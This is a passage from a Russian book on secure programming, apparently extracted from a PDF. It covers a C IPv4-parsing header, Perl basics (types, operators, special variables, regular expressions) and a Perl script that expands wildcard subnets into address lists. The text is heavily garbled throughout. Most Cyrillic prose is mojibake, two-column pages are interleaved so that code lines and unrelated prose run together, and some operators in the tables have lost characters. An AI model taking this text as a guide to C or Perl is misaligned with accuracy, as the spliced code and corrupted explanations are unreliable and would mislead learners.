Ìîæíî ñêàçàòü, ÷òî ôóíêöèÿ main â ôàéëå main.c óïðàâëÿåò ðàçáîðîì. Îíà i pv4_parse.h – ýòî çàãîëîâî÷íûé ôàéë äëÿ ïðîãðàìì íà C/C++.  íåì îáúÿâ-
ïîëó÷àåò èç êîìàíäíîé ñòðîêè ïîäëåæàùèå ðàçáîðó IP-àäðåñà (ñòðîêà 10). ëåíû ïðîòîòèïû ôóíêöèé, îïðåäåëåííûõ â ôàéëå i pv4_parse.c. Ïðåäâàðè-
 ñòðîêàõ 16–20 îáúÿñíÿåòñÿ, êàê çàïóñêàòü ïðîãðàììó, ïðè÷åì ýòà èíôîðìà- òåëüíîå îáúÿâëåíèå ïðîòîòèïîâ ïîçâîëÿåò èçáåæàòü ïðåäóïðåæäåíèé, ãåíå-
öèÿ îòïðàâëÿåòñÿ íà ñòàíäàðòíûé âûâîä. Ñòðîêè 30–46 ñîñòàâëÿþò îñíîâíóþ ðèðóåìûõ êîìïèëÿòîðîì ñ ÿçûêà C. Äëÿ êîìïèëÿòîðîâ æå ñ ÿçûêà C++ îáúÿâ-
÷àñòü ïðîãðàììû.  öèêëå while âûçûâàåò ôóíêöèÿ i pv4_parse_next, êîòîðàÿ ëåíèå ïðîòîòèïîâ îáÿçàòåëüíî, ýòî ñâÿçàíî ñî ñòðîãîé òèïèçàöèåé ÿçûêà.
ðàçáèðàåò î÷åðåäíîé àäðåñ, ïîñëå ÷åãî îí âûâîäèòñÿ íà ïå÷àòü. Ïðåäëîæåíèå extern «C» íåîáõîäèìî äëÿ òîãî, ÷òîáû êîìïèëÿòîð C++ íå
ïðåîáðàçîâûâàë èìåíà ôóíêöèé.
1 /*
2 * ipv4_parse.h
3
4
5
*
*/ Язык Perl
6 #ifndef __IPV4_PARSE_H__  1987 ãîäó Ëàððè Óîëë (Larry Wall) ñîçäàë è ðàçîñëàë ïî ìíîãî÷èñëåííûì
7 #define __IPV4_PARSE_H__
êîíôåðåíöèÿì Usenet ÿçûê Perl. Ïåðâîíà÷àëüíî îí çàäóìûâàëñÿ êàê ÿçûê
8
9 #ifdef __cplusplus ñöåíàðèåâ, èíòåãðèðóþùèé â ñåáå ìíîãèå ôóíêöèîíàëüíûå âîçìîæíîñòè
10 extern "C" { ðàçëè÷íûõ èíòåðïðåòèðóåìûõ ÿçûêîâ, óæå èìåâøèõñÿ ê òîìó âðåìåíè â ñè-
11 #endif ñòåìå UNIX. Ýìóëÿöèÿ ôóíêöèé èç òàêèõ ÿçûêîâ, êàê sh, sed è awk â ñî÷åòà-
12
13 typedef struct ipv4_parse_ctx
íèè ñ íàëè÷èåì ðåãóëÿðíûõ âûðàæåíèé ñïîñîáñòâîâàëî òîìó, ÷òî Perl ñòàë
14 { ïîïóëÿðåí î÷åíü áûñòðî, à øèðîêîå ðàñïðîñòðàíåíèå Èíòåðíåò, ïîñëåäîâàâ-
15 unsigned char m_state[4][256]; øåå çà ðîæäåíèåì Âñåìèðíîé ïàóòèíû (WWW), ñäåëàëî Perl ÿçûêîì íîìåð
16 unsigned short m_index[4]; îäèí â ìèðå ñöåíàðèåâ.
17
18 } ipv4_parse_ctx;
Ïîïóëÿðíîñòü Perl ðîñëà ïî ìåðå ðàñøèðåíèÿ WWW, òàê êàê î÷åíü ñêî-
19 ðî îí ïðåâðàòèëñÿ â îäèí èç ñàìûõ ïðîñòûõ ìåòîäîâ íàïèñàíèÿ CGI-ïðèëî-
20 /* æåíèé (Common Gateway Interface – îáùèé øëþçîâîé èíòåðôåéñ). Òàêèå
21 * ipv4_parse_ctx_init() ïðèëîæåíèÿ ïðèìåíÿþòñÿ äëÿ îòïðàâêè äèíàìè÷åñêîãî êîíòåíòà ïîëüçî-
22 *
23 *
âàòåëÿì Web è îáåñïå÷åíèÿ äîñòóïà ê áàçàì äàííûõ. Èíòåðôåéñ CGI îïðå-
24 */ äåëÿåò îáùèé ôîðìàò äàííûõ è ìåõàíèçìû âçàèìîäåéñòâèÿ ðàçëè÷íûõ
25 int ipv4_parse_ctx_init(ipv4_parse_ctx *ctx, ïðèëîæåíèé. Ê ÷èñëó îáùåïðèçíàííûõ äîñòîèíñòâ Perl îòíîñÿòñÿ ãèáêîñòü
26 char *range); è ðåàëèçàöèÿ ðåãóëÿðíûõ âûðàæåíèé (regex). Íåðåäêî ïðèõîäèòñÿ ñëûøàòü
27
28 /* ìíåíèå, ÷òî ìîùü àïïàðàòà ðåãóëÿðíûõ âûðàæåíèé â Perl ïðåâîñõîäèò âñå
29 * ipv4_parse_next_addr() ïðî÷èå ðåàëèçàöèè. Ýòîò ìåõàíèçì ïîçâîëÿåò çàïèñûâàòü àëãîðèòìû ñîïî-
30 * ñòàâëåíèÿ ñ îáðàçöîì è ñòðîêîâûõ ïîäñòàíîâîê îäíîé ñòðîêîé êîäà â ñëó÷à-
31 *
ÿõ, ãäå íà C ïðèøëîñü áû íàïèñàòü ñîòíè ñòðîê. Íàïðèìåð, ñëåäóþùåå âû-
32 */
33 int ipv4_parse_next(ipv4_parse_ctx *ctx, ðàæåíèå èùåò â óêàçàííîé ñòðîêå âñå âõîæäåíèÿ ñëîâà «cat» è çàìåíÿåò èõ
34 unsigned int *addr); íà «dog»:
35
36 #ifdef __cplusplus $mystring =~ s/cat/dog/g;
37 }
38 #endif
39  ïðîãðàììå íà C ïðèøëîñü áû íàïèñàòü öèêë, êîòîðûé ñ÷èòûâàåò äàííûå
40 #endif /* __IPV4_PARSE_H__ */ èç ñòðîêè, îáðàáàòûâàåò îòäåëüíûå ñèìâîëû, à çàòåì ïðîèçâîäèò çàìåíó îä-
41 íîé ïîäñòðîêè íà äðóãóþ. Êîíå÷íî, ýòî ãîðàçäî òðóäíåå è óòîìèòåëüíåå.
80 Глава 1. Написание безопасных программ Язык Perl 81

Ïðîãðàììèñòû, ðàáîòàþùèå â îáëàñòè áåçîïàñíîñòè, ñèñòåìíûå àäìèíèñò-


ðàòîðû, ñòóäåíòû è õàêåðû èñïîëüçóþò Perl ïî ðàçíûì ïðè÷èíàì: äëÿ íàïè- Примечание
ñàíèÿ êîììåð÷åñêèõ ïðèëîæåíèé äëÿ Web, ñîçäàíèÿ èíñòðóìåíòàðèÿ äëÿ óï-
ðàâëåíèÿ çàäàíèÿìè, ðàçðàáîòêè ñëîæíûõ îáúåêòîâ è êëàññîâ äëÿ áèîèíæå- В предыдущем примере на печать выведена строка «gabe», а не
íåðèè, ïðîñòûõ ñ÷åò÷èêîâ äëÿ Web-ñòðàíèö è ðàçíîãî ðîäà óòèëèò. Ñðåäè «marshall», поскольку нумерация элементов в массиве начинается
ïîïóëÿðíûõ èíñòðóìåíòîâ, îòíîñÿùèõñÿ ê áåçîïàñíîñòè è íàïèñàííûõ íà с [0][0], а не с [1][1].
Perl, ìîæíî íàçâàòü Whisker, Narrow Security Scanner è Wellenreiter, íå ãîâîðÿ
óæå î ìíîæåñòâå «ýêñïëîéòîâ», àòàêóþùèõ èìåþùèåñÿ óÿçâèìîñòè êàê ëî-
êàëüíî, òàê è óäàëåííî.
Õýøè, èëè àññîöèàòèâíûå ìàññèâû ïîçâîëÿþò õðàíèòü äàííûå â ìàññèâå,
Ìíîãèå ñïåöèàëèñòû ïî áåçîïàñíîñòè âûáèðàþò â êà÷åñòâå ÿçûêà ñöåíà-
èíäåêñèðîâàííîì ñòðîêîé, à íå ÷èñëîì.  ìàññèâå, èíèöèàëèçèðîâàííîì,
ðèåâ Perl, ïîòîìó ÷òî îí ðàáîòàåò íà âñåõ ïëàòôîðìàõ, îáåñïå÷èâàåò ïðîñòîé
êàê ýòî ïîêàçàíî â ïðèìåðå 1.26, õðàíÿòñÿ ñòðîêè è ñîîòâåòñòâóþùèå èì
äîñòóï ê ñîêåòàì, ïîçâîëÿåò ïîäêëþ÷àòü áèíàðíûé êîä, äà è âîîáùå ÿâëÿåòñÿ
÷èñëîâûå äàííûå.
îáùåïðèíÿòûì. Áëàãîäàðÿ äèñòðèáóòèâàì GNU Perl è ActiveState Win32 Perl,
èìåþòñÿ áåñïëàòíûå âåðñèè èíòåðïðåòàòîðà äëÿ îïåðàöèîííûõ ñèñòåì
Пример 1.26. Хэши
Microsoft 95/98/ME/NT/2000/XP/.NET, Solaris, NetBSD/OpenBSD/FreeBSD, Irix, @jobs = ("Coder", 21,
HPUX, Red Hat è äðóãèõ äèñòðèáóòèâîâ Linux. "Programmer", 24,
"Developer", 27);

Типы данных Èñêàòü ýëåìåíò â òàêîì ìàññèâå ìîæíî, óêàçûâàÿ âìåñòî ÷èñëîâîãî èí-
Îáúÿâëåíèå ïåðåìåííûõ â Perl äåëàåòñÿ î÷åíü ïðîñòî. Ñóùåñòâóåò òðè îñíîâ- äåêñà ñòðîêó.  ïðèìåðå 1.27 ïåðâàÿ ñòðîêà âîçâðàùàåò çíà÷åíèå 27, âòîðàÿ –
íûõ òèïà äàííûõ: ñêàëÿðû, ìàññèâû è õýøè.  îòëè÷èå îò ÿçûêîâ ñ áîëåå æåñò- 24, à òðåòüÿ – 21.
êîé ñòðóêòóðîé, Perl îáðàáàòûâàåò ñèìâîëû, ñòðîêè è ÷èñëà åäèíîîáðàçíî,
àâòîìàòè÷åñêè îïðåäåëÿÿ òèï äàííûõ. Èìåíà âñåõ ñêàëÿðîâ íà÷èíàþòñÿ Пример 1.27. Задание строки для извлечения данных из ассоциативного
ñ ñèìâîëà $. Íàïðèìåð, ÷òîáû ïðèñâîèòü çíà÷åíèå 5 ïåðåìåííîé Gabe, íàäî массива
íàïèñàòü $Gabe = 5;. Âàæíî îòìåòèòü, ÷òî â îòëè÷èå îò áîëüøèíñòâà òèïèçè- $jobs{"Developer"};
$jobs{"Programmer"};
ðîâàííûõ ÿçûêîâ, îáúÿâëÿòü ïåðåìåííóþ äî åå èíèöèàëèçàöèè íåîáÿçà- $jobs{"Coder"};
òåëüíî, ìîæíî ñðàçó ïðèñâîèòü åé çíà÷åíèå. Ìàññèâû èëè ñïèñêè â Perl äèíà-
ìè÷åñêèå, èõ èìåíà íà÷èíàþòñÿ ñ ñèìâîëà @. Ìàññèâ ìîæåò ñîäåðæàòü ñèìâî-  Perl åñòü ñðåäñòâà äëÿ ïðåîáðàçîâàíèÿ ñïèñêîâ â õýøè è íàîáîðîò. Ýòî
ëû, ÷èñëà èëè ñòðîêè. Êðîìå òîãî, â Perl åñòü âîçìîæíîñòü èñïîëüçîâàòü îñîáåííî ïîëåçíî, êîãäà íàäî èçâëå÷ü ñðàçó íåñêîëüêî çíà÷åíèé èëè ïåðå-
ìàññèâû ìàññèâîâ. Â ïðèìåðå 1.25 ñîçäàåòñÿ ìíîãîìåðíûé ìàññèâ, ñîäåðæà- áðàòü âñå ýëåìåíòû õýøà. Â ñëåäóþùåì ôðàãìåíòå êîä â ñòðîêå 1 ïðåîáðàçóåò
ùèé â ñîâîêóïíîñòè âîñåìü ýëåìåíòîâ. õýø â ñïèñîê, à êîä â ñòðîêå 3 âûïîëíÿåò ïðîòèâîïîëîæíóþ îïåðàöèþ.
 ñòðîêå 2 ìû ññûëàåìñÿ íà òðåòèé ýëåìåíò ìàññèâà, ðàâíûé 24, êàê ñëåäóåò
Пример 1.25. Создание в Perl многомерного массива из восьми элементов
Îïðåäåëåíèå
èç ïðåäûäóùåãî ïðèìåðà.
@ArrayOfArray = (
[ "foster", "price" ], 1 @staticjobs = %jobs;
[ "anthony", "marshall", "chad" ], 2 $staticjobs[3];
[ "tom", "eric", "gabe" ] 3 %jobscopy = @staticjobs;
);
print $ArrayOfArray[2][2];
Îáðàòèòå âíèìàíèå, ÷òî ïðåôèêñû %, @ è $ îáîçíà÷àþò ðàçíûå òèïû äàí-
Íàïå÷àòàíî íûõ. Êðàéíå âàæíî ïðè îáðàùåíèè ê êîíêðåòíîìó òèïó óêàçûâàòü ïðàâèëü-
gabe íûé ïðåôèêñ.
82 Глава 1. Написание безопасных программ Язык Perl 83

Операторы Таблица 1.2. Операторы присваивания в Perl (окончание)

 ÿçûêå Perl åñòü ïÿòü êàòåãîðèé îïåðàòîðîâ: àðèôìåòè÷åñêèå, ïðèñâàèâàíèÿ, Оператор Назначение Пример
ëîãè÷åñêèå, ñðàâíåíèÿ è ñòðîêîâûå. Îïåðàòîðû ïðèìåíÿþòñÿ äëÿ èíèöèàëè- *= Умножает значение переменной на $num1 *= 10
указанную величину и присваивает
çàöèè, ñðàâíåíèÿ, âû÷èñëåíèé è ìîäèôèêàöèè âûðàæåíèé èëè ïåðåìåííûõ. переменной новое значение
 òàáëèöå 1.1 ïåðå÷èñëåíû àðèôìåòè÷åñêèå îïåðàòîðû, èìåþùèåñÿ â Perl. /= Делит значение переменной на $num1 /= 10
указанную величину и присваивает
переменной новое значение
Таблица 1.1. Арифметические операторы в Perl **= Возводит значение переменной $num1 **= 3
Оператор Назначение Пример в указанную степень и присваивает $num2 = (3 **=
переменной новое значение $num1)
+ Возвращает сумму двух переменных $education + %= Делит значение переменной на $num1 %= 10
$experience указанную величину и присваивает
– Возвращает разность двух переменных $education – переменной значение, равное остатку
$experience от деления
* Возвращает произведение двух $num1 * $num2 x= Повторяет строку заданное число раз $jim x= 10
переменных и присваивает получившееся значение
/ Возвращает частное от деления одной $num1 / $num2 исходной переменной
переменной на другую .= Конкатенирует (сцепляет) две строки, $jim .= «my» $jim .=
% Возвращает остаток от деления одной $num1 % $num2 дописывая вторую в конец первой $foster
переменной на другую
** Возвращает результат возведения $num1 ** $num2 Âûðàæåíèÿ, â êîòîðûõ âñòðå÷àþòñÿ ëîãè÷åñêèå îïåðàòîðû, ÷àùå âñåãî
в степень
óïîòðåáëÿþòñÿ â íà÷àëå òîé èëè èíîé óïðàâëÿþùåé ñòðóêòóðû äëÿ âûÿñíå-
íèÿ òîãî, ïî êàêîìó ïóòè äîëæíî ïðîäîëæèòüñÿ èñïîëíåíèå ïðîãðàììû.
Îïåðàòîðû ïðèñâàèâàíèÿ ïðèìåíÿþòñÿ äëÿ èíèöèàëèçàöèè è ìàíèïóëè-
Îïåðàòîð âû÷èñëÿåò çíà÷åíèÿ äâóõ âûðàæåíèé èëè ïåðåìåííûõ è âîçâðàùà-
ðîâàíèÿ ñêàëÿðíûìè ïåðåìåííûìè, íî íå ìàññèâàìè. Áóäó÷è ïîõîæè íà
åò true èëè false.  òàáëèöå 1.3 îïèñàíû âñå òðè ëîãè÷åñêèõ îïåðàòîðà.
àðèôìåòè÷åñêèå îïåðàöèè, îïåðàòîðû ïðèñâàèâàíèÿ çàïèñûâàþò â èìåþ-
ùèéñÿ ñêàëÿð íîâîå çíà÷åíèå ñ ïîìîùüþ îäíîãî-åäèíñòâåííîãî âûðàæå-
Таблица 1.3. Логические операторы в Perl
íèÿ. Íàïðèìåð, åñëè èñõîäíîå çíà÷åíèå ñêàëÿðà $number ðàâíî 5, òî â ðåçóëü-
òàòå âû÷èñëåíèÿ âûðàæåíèÿ $number += 2; åìó áóäåò ïðèñâîåíî çíà÷åíèå 7. Оператор Назначение Пример
 òàáëèöå 1.2 ïåðå÷èñëåíû âñå îïåðàòîðû ïðèñâàèâàíèÿ. && Возвращает true, если оба выражения ($x==1) && ($y==1)
истинны
|| Возвращает true, если хотя бы одно их ($x==1) || ($y==1)
Таблица 1.2. Операторы присваивания в Perl двух выражений истинно
Оператор Назначение Пример ! Возвращает true, если выражение ложно !($cat == $dog)
= Присваивает значение переменной $num1 = 10
$gabe = «red» Âî ìíîãèõ ïðîãðàììàõ äëÿ ïðîâåðêè è îöåíêè ðàçëè÷èÿ ìåæäó âåëè÷èíà-
++ Увеличивает значение переменной на 1 $num1++ ìè ïðèìåíÿþòñÿ îïåðàòîðû ñðàâíåíèÿ. Âàæíî ïîíèìàòü, ÷òî âñå îïåðàòîðû
++$num1 ñðàâíåíèÿ âîçâðàùàþò áóëåâñêîå çíà÷åíèå: true èëè false.  òàáëèöå 1.4 ïåðå-
— Уменьшает значение переменной на 1 $num1— ÷èñëåíû îïåðàòîðû ñðàâíåíèÿ äëÿ ÷èñëîâûõ è ñòðîêîâûõ âåëè÷èí.
—$num1
+= Увеличивает значение переменной на $num1 += 10
указанную величину и присваивает Таблица 1.4. Операторы сравнения в Perl
переменной новое значение
= Уменьшает значение переменной на $num1 = 10 Для чисел Для строк Назначение Пример
указанную величину и присваивает == eq Возвращает true, если $num1 == $num2
переменной новое значение значения равны $foo eq «bar»
84 Глава 1. Написание безопасных программ Язык Perl 85

Таблица 1.4. Операторы сравнения в Perl (окончание) 4 use IO::Socket;


5 $sIP="@ARGV[0]";
Для чисел Для строк Назначение Пример 6 $port="@ARGV[1]";
!= ne Возвращает true, если $num1 != $num2 7 ($ip1,$ip2,$ip3,$ip4)=split(/\./,$sIP);
значения не равны $foo ne «bar» 8 if($ip2 eq '*')
> gt Возвращает true, если первое $num1 > $num2 9 {$ip2=1;$ip3=1;$ip4=1;$x='a';print "Ñêàíèðîâàíèå ñåòè êëàññà A\n";}
значение больше второго $foo gt «bar» 10 elsif($ip3 eq '*')
< lt Возвращает true, если первое $num1 < $num2 11 {$ip3=1; $ip4=1; $x='b'; print "Ñêàíèðîâàíèå ñåòè êëàññà B\n";}
значение меньше второго $foo lt «bar» 12 elsif($ip4 eq '*')
>= ge Возвращает true, если первое $num1 >= $num2 13 {$ip4=1; $x='c'; print "Ñêàíèðîâàíèå ñåòè êëàññà C\n";}
значение больше или равно $foo ge «bar» 14
второму 15 while($ip2<255 && $x eq 'a')
<= le Возвращает true, если первое $num1 <= $num2 16 {
значение меньше или равно $foo le «bar» 17 while($ip3<255 && ($x eq 'a' || $x eq 'b'))
второму 18 {
19 while($ip4<255)
20 {
Ñòðîêîâûå îïåðàòîðû ïîëåçíû äëÿ ìîäèôèêàöèè è ïîèñêà âíóòðè ñòðîêè. 21 $ipaddr="$ip1.$ip2.$ip3.$ip4";
Ïîìèìî îïåðàòîðîâ äëÿ ïîèñêà, ñîïîñòàâëåíèÿ ñ îáðàçöîì è çàìåíû ê âà- 22 print "$ipaddr\n";
øèì óñëóãàì ðàçëè÷íûå âèäû ðåãóëÿðíûõ âûðàæåíèé.  òàáëèöå 1.5 ïåðå- 23 #IP_connect($ipaddr);
÷èñëåíû ñòðîêîâîå îïåðàòîðû â ÿçûêå Perl. 24 $ip4++;
25 }
26 $ip4=1;
Таблица 1.5. Строковые операторы в Perl 27 $ip3++;
28 if($x eq 'c') {$ip3=255; $ip2=255;}
Оператор Назначение Пример 29 }
x Повторяет строку указанное число раз $foo x $bar 30 $ip4=1;
index() Возвращает смещение указанной $in = index($foo, 31 $ip3=1;
подстроки относительно начала строки $bar); 32 $ip2++;
substr() Возвращает подстроку указанной строки, substr($foo, $in, 33 if($x eq 'c' || $x eq 'b') {$ip3=255; $ip2=255;}
начинающуюся с указанного смещения $len); 34 }
35 }

Пример Perl1сценария
Ïðèìåð 1.28 ñîäåðæèò 35 ñòðîê êîäà è ñëóæèò äëÿ ãåíåðèðîâàíèÿ ñïèñêà IP- Àíàëèç
àäðåñîâ, ïîëó÷àþùåãîñÿ â ðåçóëüòàòå àíàëèçà àäðåñà òåñòèðóåìîé ïîäñåòè. Ñòðîêà 1 ÷àñòî èñïîëüçóåòñÿ â Perl-ñöåíàðèÿõ íà ïëàòôîðìå UNIX è Linux äëÿ
Ïîñêîëüêó Perl-ñöåíàðèè ïî÷òè íèêîãäà íå èìåþò ãðàôè÷åñêîãî èíòåðôåéñà, óêàçàíèÿ òîãî, ãäå èñêàòü ñàì èíòåðïðåòàòîð Perl. Ïî÷òè âî âñåõ äèñòðèáóòè-
òî ðàçáîð êîìàíäíîé ñòðîêè îêàçûâàåòñÿ âåñüìà âàæíîé çàäà÷åé. Äèàïàçîíû âàõ äëÿ Win32 îíà íå íóæíà.  ñòðîêå 2 ïðîâåðÿåòñÿ, ÷òî ñöåíàðèþ ïåðåäà-
ðàçáèðàòü òðàäèöèîííî òðóäíî, ïîñêîëüêó îíè ñîäåðæàò íåñêîëüêî êîìïî- íî ïî ìåíüøåé ìåðå äâà àðãóìåíòà, à åñëè ýòî íå òàê, òî íà STDOUT âûâî-
íåíòîâ, äëÿ âûäåëåíèÿ êîòîðûõ íóæíî ïðèëîæèòü íåìàëî óñèëèé. À åñëè íå äèòñÿ ñîîáùåíèå î ïîðÿäêå çàïóñêà.
ïðîÿâëÿòü äîëæíîé àêêóðàòíîñòè, ëåãêî äîïóñòèòü îøèáêó. Â ñòðîêàõ 5 è 6 àðãóìåíòû, óêàçàííûå â êîìàíäíîé ñòðîêå, êîïèðóþòñÿ
â ïåðåìåííûå. Îòìåòèì, ÷òî äî íà÷àëà ðàçáîðà íèêàêîãî êîíòðîëÿ çíà÷åíèé
Пример 1.28. Разбора IP)адреса подсети, указанного в командной строке àðãóìåíòîâ íå ïðîèçâîäèòñÿ. Ýòî ñäåëàíî ñîçíàòåëüíî, ïîñêîëüêó îñíîâíàÿ
1 #!/usr/bin/perl
2 if(@ARGV<2){print "Usage: $0 <network> <port>\nExample: $0 10.*.*.* 80 öåëü äàííîãî óïðàæíåíèÿ – ïîêàçàòü, êàê óâåëè÷èòü IP-àäðåñ.
or 10.4.*.* 80 or 10.4.3.* 80\n";exit;} Â ñòðîêå 6 âûçûâàåòñÿ ôóíêöèÿ split, êîòîðàÿ ðàçáèâàåò ïåðåäàííûé IP-àäðåñ
3 else{ íà ÷åòûðå öåëûõ ÷èñëà, êîòîðûå ìîæíî óâåëè÷èâàòü íåçàâèñèìî äðóã îò äðóãà.
86 Глава 1. Написание безопасных программ Язык Perl 87

Ñòðîêè 8–13 ïðèâåäåíû èç ýñòåòè÷åñêèõ ñîîáðàæåíèé, â íèõ ïå÷àòàåòñÿ  STDOUT


STDOUT.. ßâëÿåòñÿ ññûëêîé íà ñòàíäàðòíûé ïîòîê âûâîäà. Ïî÷òè âî
êëàññ àíàëèçèðóåìîé ñåòè, îïðåäåëÿåìûé íà îñíîâå ÷èñëà çâåçäî÷åê â àäðåñå. âñåõ ñëó÷àÿõ ýòî îêíî êîìàíä íà ïëàòôîðìå Win32 èëè ëîêàëüíàÿ îáî-
Îñòàâøàÿñÿ ÷àñòü ïðîãðàììû ñîñòîèò èç âëîæåííûõ öèêëîâ, âíóòðè êîòî- ëî÷êà â UNIX;
ðûõ IP-àäðåñ óâåëè÷èâàåòñÿ, ïîêà íå áóäåò èñ÷åðïàí âåñü äèàïàçîí.  ïåðåìåí-  STDERR.. ßâëÿåòñÿ ññûëêîé íà ñòàíäàðòíûé ïîòîê äëÿ âûâîäà îøèáîê.
STDERR
íîé $i p4 õðàíèòñÿ ïîñëåäíèé èç ÷åòûðåõ îêòåòîâ IP-àäðåñà. Òàê, äëÿ àäðåñà ×àñòî èñïîëüçóåòñÿ äëÿ ïå÷àòè îòëàäî÷íîé èíôîðìàöèè è ñîîáùåíèé
10.9.5.123 ïîñëåäíèì îêòåòîì áóäåò 123. $i p4 óâåëè÷èâàåòñÿ â ñàìîì âíóòðåí- îá îøèáêàõ.
íåì öèêëå; êîãäà áóäåò äîñòèãíóòî çíà÷åíèå 255 (ñòðîêà 19), ïðîèñõîäèò ïåðå- Îïèñàííûå âûøå ïåðåìåííûå STDxxx äàþò ïðåêðàñíûé ïðèìåð èíêàïñó-
õîä ê ñëåäóþùåé èòåðàöèè îáúåìëþùåãî öèêëà, íà÷èíàþùåãîñÿ â ñòðîêå 17. ëÿöèè ñèñòåìíûõ çàâèñèìîñòåé. Íàïðèìåð, â ñèñòåìàõ UNIX è Linux ïå÷àòü
 ýòîì öèêëå óâåëè÷èâàåòñÿ îêòåò $i p3, åñëè àíàëèçèðóåìàÿ ñåòü ïðèíàäëåæà- íà STDOUT ñîîòâåòñòâóåò âûâîäó â ñòàíäàðòíóþ îáîëî÷êó (shell), à â ñðåäå
ëà êëàññó A èëè B. Microsoft Win32 – âûâîäó â îêíî êîìàíä.
Ñòðîêà 23 çàêîììåíòàðåíà è ïðèâåäåíà ëèøü äëÿ òîãî, ÷òîáû ïîêàçàòü, êàê
ëåãêî ìîæíî áûëî áû èñïîëüçîâàòü ñãåíåðèðîâàííûå IP-àäðåñà. Ñàìûé âíå-
øíèé öèêë èñïîëíÿåòñÿ ëèøü òîãäà, êîãäà ñåòü ïðèíàäëåæèò êëàññó A. Îáðà-
Сопоставление с образцом и подстановка
òèòå âíèìàíèå, ÷òî â íåì óâåëè÷èâàåòñÿ âòîðîé, à íå ïåðâûé îêòåò. Ïîñòîÿííî è âïîëíå çàñëóæåííî ïðåâîçíîñèìûé ìåõàíèçì ðåãóëÿðíûõ âû-
ðàæåíèé â Perl ïðåâîñõîäèò èìåþùèåñÿ â äðóãèõ ÿçûêàõ àíàëîãè, êîãäà äåëî
äîõîäèò äî ïîèñêà â ñòðîêàõ è ñîïîñòàâëåíèÿ ñòðîê ñ îáðàçöîì. Â Perl âñòðî-
Специальные переменные åíû äâå âàæíûõ ôóíêöèè: match (ñîïîñòàâëåíèå) è subst (ïîäñòàíîâêà). Îáå
 ÿçûêå Perl èìååòñÿ òàêæå íàáîð «ñïåöèàëüíûõ ïåðåìåííûõ».  íèõ õðàíèò- èñêëþ÷èòåëüíî ïðîñòû â èñïîëüçîâàíèè. Ôóíêöèÿ ñîïîñòàâëåíèÿ ïðèíèìà-
ñÿ äèíàìè÷åñêè îáíîâëÿåìàÿ èíôîðìàöèÿ î òåêóùåì ýêçåìïëÿðå ñöåíàðèÿ è åò äâà àðãóìåíòà: ñòðîêó, â êîòîðîé ïðîèçâîäèòñÿ ïîèñê, è èñêîìûé îáðàçåö.
ñðåäå åãî âûïîëíåíèÿ. Ê ñïåöèàëüíûì îòíîñÿòñÿ, â ÷àñòíîñòè, ñëåäóþùèå Ôóíêöèÿ ïîäñòàíîâêè ïðèíèìàåò òå æå äâà àðãóìåíòà, à òàêæå ñòðîêó, êîòî-
ïåðåìåííûå: ðóþ íóæíî ïîäñòàâèòü âìåñòî íàéäåííîãî îáðàçöà:
 $0. Ñîäåðæèò èìÿ èñïîëíÿåìîãî ñöåíàðèÿ, ýòî áûâàåò ïîëåçíî, êîãäà  match($str, $pattern)
íóæíî óïîìÿíóòü èìÿ â ñîîáùåíèè èëè ïðè ðàçâåòâëåíèè ïðîöåññà;  subst($str, $pattern, $substitution)
 $_. ×àñòî èñïîëüçóåòñÿ ïðè ïîèñêå è ñîïîñòàâëåíèè ñ îáðàçöîì äëÿ Ïîìèìî äâóõ âûøåóïîìÿíóòûõ ôóíêöèé åñòü òðè âèäà ñîêðàùåííîé íîòà-
ñòðîê, ÷èòàåìûõ èç ñòàíäàðòíîãî ââîäà; öèè.  ïðèâåäåííîì íèæå ïðèìåðå â ïåðâîé ñòðîêå ïðîâåðÿåòñÿ, åñòü ëè îá-
 $/. Çíà÷åíèå ýòîé ïåðåìåííîé ñîäåðæèò ñòðîêó, èñïîëüçóåìóþ êàê ðàç- ðàçåö «hacker» â ñòðîêå, õðàíÿùåéñÿ â ïåðåìåííîé $code.  ñëåäóþùåé ñòðîêå,
äåëèòåëü çàïèñåé âî âõîäíîì ïîòîêå. Ïî óìîë÷àíèþ îíî ðàâíî ñèì- íàïðîòèâ, ïðîâåðÿåòñÿ, ÷òî ïåðåìåííàÿ $code íå ñîîòâåòñòâóåò îáðàçöó
âîëó íîâîé ñòðîêè \n; «hacker» (â íåé íåò òàêîé ïîäñòðîêè). Íàêîíåö, â òðåòüåé ñòðîêå âìåñòî ïîä-
 @ARGV
@ARGV.. Ìàññèâ ARGV ñîäåðæèò àðãóìåíòû ñöåíàðèÿ, çàäàííûå â êî- ñòðîêè «hacker» ïîäñòàâëÿåòñÿ ñòðîêà «cracker».
ìàíäíîé ñòðîêå. Òàê, $ARGV[0] – ýòî ïåðâûé àðãóìåíò;
 @INC
@INC..  îòëè÷èå îò îïèñûâàåìîãî íèæå àññîöèàòèâíîãî ìàññèâà $code =~ m/hacker/;
%INC, ýòîò ñïèñîê ñîäåðæèò ïåðå÷åíü êàòàëîãîâ, â êîòîðûõ èùóòñÿ $code !~ m/hacker/;
$code =~ s/hacker/cracker/;
âêëþ÷àåìûå ñ ïîìîùüþ ôóíêöèé do è require ôàéëû;
 %INC
%INC.. Àññîöèàòèâíûé ìàññèâ %INC ñîäåðæèò ïåðå÷åíü âñåõ âêëþ÷àå-
Ñëåäóþùåå âûðàæåíèå ñîîòâåòñòâóåò ëþáîé ëàòèíñêîé áóêâå â âåðõíåì
ìûõ ôàéëîâ, êîòîðûå íóæíû òåêóùåìó ñöåíàðèþ äëÿ óñïåøíîé êîì-
èëè íèæíåì ðåãèñòðå.
ïèëÿöèè è âûïîëíåíèÿ;
 %ENV
%ENV.. Êàê è âî ìíîãèõ äðóãèõ ÿçûêàõ ïðîãðàììèðîâàíèÿ, õýø /[A-Za-z]/
%ENV ñîäåðæèò âñå ïåðåìåííûå îêðóæåíèÿ;
 STDIN
STDIN.. ßâëÿåòñÿ ññûëêîé íà ñòàíäàðòíûé âõîäíîé ïîòîê. Îáû÷íî ýòî À ýòî âûðàæåíèå ñîîòâåòñòâóåò âñåì ñòðî÷íûì áóêâàì è öèôðàì:
óïðàâëÿåìàÿ ÷åëîâåêîì êîíñîëü, è â ýòîì ñëó÷àå ïðèçíàêîì êîíöà ôàé-
ëà ÿâëÿåòñÿ íàæàòèå ïðåäîïðåäåëåííîé êîìáèíàöèè êëàâèø; /[0-9a-z]/
88 Глава 1. Написание безопасных программ Язык Perl 89

Модификаторы регулярных выражений âûå áèáëèîòåêè Perl è äèíàìè÷åñêè çàãðóæàåìûå áèáëèîòåêè (DLL) óïàêî-
âûâàþòñÿ â îäèí ôàéë âìåñòå ñ îäíèì èëè íåñêîëüêèìè ñöåíàðèÿìè. Â ðå-
